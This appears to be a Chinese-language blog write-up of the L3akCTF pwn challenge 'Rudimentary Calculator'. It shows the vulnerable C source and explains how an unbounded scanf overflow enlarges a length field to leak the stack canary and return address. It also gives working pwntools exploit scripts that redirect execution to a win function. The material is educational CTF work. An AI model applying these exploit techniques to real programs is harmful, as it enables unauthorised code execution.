l3akctf 中还是学到不少的内容，感觉国外的比赛会更偏向实战，一点一点去打国际比赛感觉也在慢慢的长进，虽然感觉自己还是有很多很多不足的地方需要自己去追赶，有一句话是这么说的，星光不负赶路人，时光不负有心人

之后会去复现一下自己当时 r3ctf 和 sekaictf 没有开出来的题目。

Rudimentary Calculator

题目直接给了.c 文件而不是二进制文件，不用反汇编的情况下直接分析源文件即可，

这里直接放源文件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>

void win() {
    FILE *f = fopen("flag.txt", "r");
    if (!f) {
        printf("Could not open flag.txt\n");
        exit(1);
    }
    char flag[0x60];
    fgets(flag, sizeof(flag), f);
    fclose(f);
    printf("%s\n", flag);
    exit(0);
}

void multiply_digit(int digit, uint32_t *product_bignum, int *product_bignum_len) {
    uint64_t carry = 0;
    for (int i = 0; i < *product_bignum_len; i++) {
        uint64_t prod = (uint64_t)product_bignum[i] * digit + carry;
        product_bignum[i] = (uint32_t)(prod & 0xFFFFFFFF);
        carry = prod >> 32;
    }
    if (carry) {
        product_bignum[*product_bignum_len] = (uint32_t)carry;
        (*product_bignum_len)++;
    }
}

void to_base_10(uint32_t *product_bignum, int product_bignum_len, char *out) {
    uint32_t tmp[0x1000];
    memcpy(tmp, product_bignum, product_bignum_len * sizeof(uint32_t));
    int tmp_size = product_bignum_len;

    char buf[0x1000];
    int pos = 0;

    while (tmp_size > 0) {
        uint64_t remainder = 0;
        for (int i = tmp_size - 1; i >= 0; i--) {
            uint64_t cur = (remainder << 32) | tmp[i];
            tmp[i] = (uint32_t)(cur / 10);
            remainder = cur % 10;
        }
        buf[pos++] = '0' + (int)remainder;

        while (tmp_size > 0 && tmp[tmp_size - 1] == 0)
            tmp_size--;
    }

    for (int i = 0; i < pos; i++)
        out[i] = buf[pos - 1 - i];
    out[pos] = '\0';
}

void run() {
    struct {
        char buf[0x1000];
        int product_bignum_len;
        uint32_t product_bignum[0x60];
    } s;

    printf("********************\n");
    printf("* BASIC CALCULATOR *\n");
    printf("********************\n");

    while (true) {
        s.product_bignum_len = 1;
        s.product_bignum[0] = 1;

        printf("Enter an expression> ");
        scanf("%s", s.buf);

        if (strcmp(s.buf, "quit") == 0)
            break;

        for (int i = 0; ; i++) {
            if (i % 2 == 0) {
                if (s.buf[i] >= '0' && s.buf[i] <= '9') {
                    multiply_digit(s.buf[i] - '0', s.product_bignum, &s.product_bignum_len);
                } else if (s.buf[i] >= 'a' && s.buf[i] <= 'f') {
                    multiply_digit(s.buf[i] - 'a' + 10, s.product_bignum, &s.product_bignum_len);
                } else if (s.buf[i] >= 'A' && s.buf[i] <= 'F') {
                    multiply_digit(s.buf[i] - 'A' + 10, s.product_bignum, &s.product_bignum_len);
                } else if (s.buf[i] == '-') {
                    printf("Sorry, negative numbers are not supported for now\n");
                    exit(1);
                } else {
                    printf("Expected digit\n");
                    exit(1);
                }
            } else {
                if (s.buf[i] == '\0') {
                    break;
                } else if (s.buf[i] >= '0' && s.buf[i] <= '9') {
                    printf("Sorry, only single-digit numbers are supported for now\n");
                    exit(1);
                } else if (s.buf[i] >= 'a' && s.buf[i] <= 'f') {
                    printf("Sorry, only single-digit numbers are supported for now\n");
                    exit(1);
                } else if (s.buf[i] >= 'A' && s.buf[i] <= 'F') {
                    printf("Sorry, only single-digit numbers are supported for now\n");
                    exit(1);
                } else if (s.buf[i] == '+' || s.buf[i] == '-' || s.buf[i] == '/') {
                    printf("Sorry, only multiplication is supported for now\n");
                    exit(1);
                } else if (s.buf[i] == '.') {
                    printf("Sorry, only integers are supported for now\n");
                    exit(1);
                } else if (s.buf[i] != '*' && s.buf[i] != 'x') {
                    printf("Unexpected character\n");
                    exit(1);
                }
            }
        }

        to_base_10(s.product_bignum, s.product_bignum_len, s.buf);
        printf("Result: %s\n\n", s.buf);
    }
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    run();
}

编译源文件是必要的，这里编译的时候开启了 canary 和 pie：

win

可以看到在 C 文件开头就有 win 函数可以直接去读 flag，相当于是一个后门

我们可以尝试去劫持一个地址到这里，然后就可以美美的拿到 flag

multiply_digit

multiply 乘法，该函数也就是一组乘法运算：

1
2
3
4
5
6
7
8
9
10
11
12
void multiply_digit(int digit, uint32_t *product_bignum, int *product_bignum_len) {
    uint64_t carry = 0;
    for (int i = 0; i < *product_bignum_len; i++) {
        uint64_t prod = (uint64_t)product_bignum[i] * digit + carry;
        product_bignum[i] = (uint32_t)(prod & 0xFFFFFFFF);
        carry = prod >> 32;
    }
    if (carry) {
        product_bignum[*product_bignum_len] = (uint32_t)carry;
        (*product_bignum_len)++;
    }
}

那么简单总结一下就是固定乘数，每次乘积后去掉低 32 位，只保留溢出的值为 carry，如果存在 carry，bignum 数组最后会多加一位，存放 carry

to_base_10

这个函数是将一个大整数以32位无符号整数数组的形式表示，转换为它的十进制字符串表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void to_base_10(uint32_t *product_bignum, int product_bignum_len, char *out) {
    uint32_t tmp[0x1000];
    memcpy(tmp, product_bignum, product_bignum_len * sizeof(uint32_t));
    int tmp_size = product_bignum_len;

    char buf[0x1000];
    int pos = 0;

    while (tmp_size > 0) {
        uint64_t remainder = 0;
        for (int i = tmp_size - 1; i >= 0; i--) {
            uint64_t cur = (remainder << 32) | tmp[i];
            tmp[i] = (uint32_t)(cur / 10);
            remainder = cur % 10;
        }
        buf[pos++] = '0' + (int)remainder;

        while (tmp_size > 0 && tmp[tmp_size - 1] == 0)
            tmp_size--;
    }

    for (int i = 0; i < pos; i++)
        out[i] = buf[pos - 1 - i];
    out[pos] = '\0';
}

run

run 函数当中有一个很明显的栈溢出，buf 有 0x1000 个字节的内存，但是 scanf 却可以读取无数个字节的内容。

规定了这么一个结构体，我们可以通过栈溢出去修改 product_bignum_len 的值

1
2
3
4
5
struct {
    char buf[0x1000];
    int product_bignum_len;
    uint32_t product_bignum[0x60];
} s;

考虑到 canary 和 pie 保护，在缓冲区溢出的时候我们首先需要泄露 canary 和 pie

不过在 run 函数结尾，执行to_base_10后会打印 s.buf，如果我们可以通过上面说的栈溢出把s.product_bignum_len改大，我们就可以控制product_bignum继续往后读，把后面包含 canary 和 rbp 的地址都当做s.product_bignum转换成十进制，之后后面再逆向回来就可以拿到完整的 canary。

1
2
to_base_10(s.product_bignum, s.product_bignum_len, s.buf);
printf("Result: %s\n\n", s.buf);
1
2
3
4
5
6
7
8
9
10
11
from pwn import*
p = process('./chall')

payload = b'1\x00'
payload = payload.ljust(0x1000,b'a')
payload += p32(100)

p.recvuntil(b'Enter an expression> ')
p.sendline(payload)
s = p.recv()
log.success(s)

修一下只保留数值：

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
p = process('./chall')

payload = b'1\x00'
payload = payload.ljust(0x1000,b'a')
payload += p32(100)

p.recvuntil(b'Enter an expression> ')
p.sendline(payload)
p.recvuntil(b'Result:')
s = p.recv().strip()
log.success(s)

拿到数值之后，我们需要去取 canary，要把 10 进制逆向回 16 进制，还要注意 32 和 64 位之间的转换：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
p = process('./chall')
context.terminal=["tmux","splitw","-h"]

payload = b'1\x00'
payload = payload.ljust(0x1000,b'a')
payload += p32(120)

p.recvuntil(b'Enter an expression> ')
p.sendline(payload)
p.recvuntil(b'Result:')
s = p.recvline().strip()
log.success(s)
num = int(s,10)

limbs = []
for i in range(120):
    limbs.append(num & 0xFFFFFFFF)
    num >>= 32

for i in range(110):
    print(f'limbs[{i}] ==> {hex(limbs[i] | limbs[i+1] << 32)}')

gdb.attach(p)
pause()

# 可以得到 canary = limbs[97]

既然找到了 canary 对应的下标，我们就可以知道 rbp 和返回地址对应的下标了。

1
2
3
canary = limbs[97] | limbs[98] << 32
rbp = limbs[99] | limbs[100] << 32
ret_addr = limbs[101] | limbs[102] << 32

接下来我们泄露 pie：PIE = 真实返回地址减去二进制文件返回地址，在我们调用完 run 函数的时候由于 while 循环会反复调用，因此返回地址是 call run 之后的 0x1A9B

之后我们篡改返回地址为 win 即可：

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
p = process('./chall')
context.terminal=["tmux","splitw","-h"]

payload1 = b'1\x00'
payload1 = payload1.ljust(0x1000,b'a')
payload1 += p32(120)

p.recvuntil(b'Enter an expression> ')
p.sendline(payload1)
p.recvuntil(b'Result:')
s = p.recvline().strip()
log.success(s)
num = int(s,10)

limbs = []
for i in range(120):
    limbs.append(num & 0xFFFFFFFF)
    num >>= 32

for i in range(110):
    print(f'limbs[{i}] ==> {hex(limbs[i] | limbs[i+1] << 32)}')

# gdb.attach(p)
# pause()

canary = limbs[97] | limbs[98] << 32
rbp = limbs[99] | limbs[100] << 32
ret_addr = limbs[101] | limbs[102] << 32
pie = ret_addr - 0x1A9B
win_addr = pie + 0x1289

payload2 = payload = b"1\x00"
payload2 = payload.ljust(0x1000, b"a")
payload2 += p32(1)   # product_bignum_len
payload2 += p32(1)   # product_bignum[0]
payload2 = payload2.ljust(0x1188, b"a")
payload2 += p64(canary) + b"A"*8 + p64(win_addr)

p.recvuntil(b'Enter an expression> ')
p.sendline(payload2)

p.recvuntil(b'Enter an expression> ')
p.sendline(b'quit')

p.interactive()

后面还有两道题目，之后再进行补充

说些什么吧！

utterances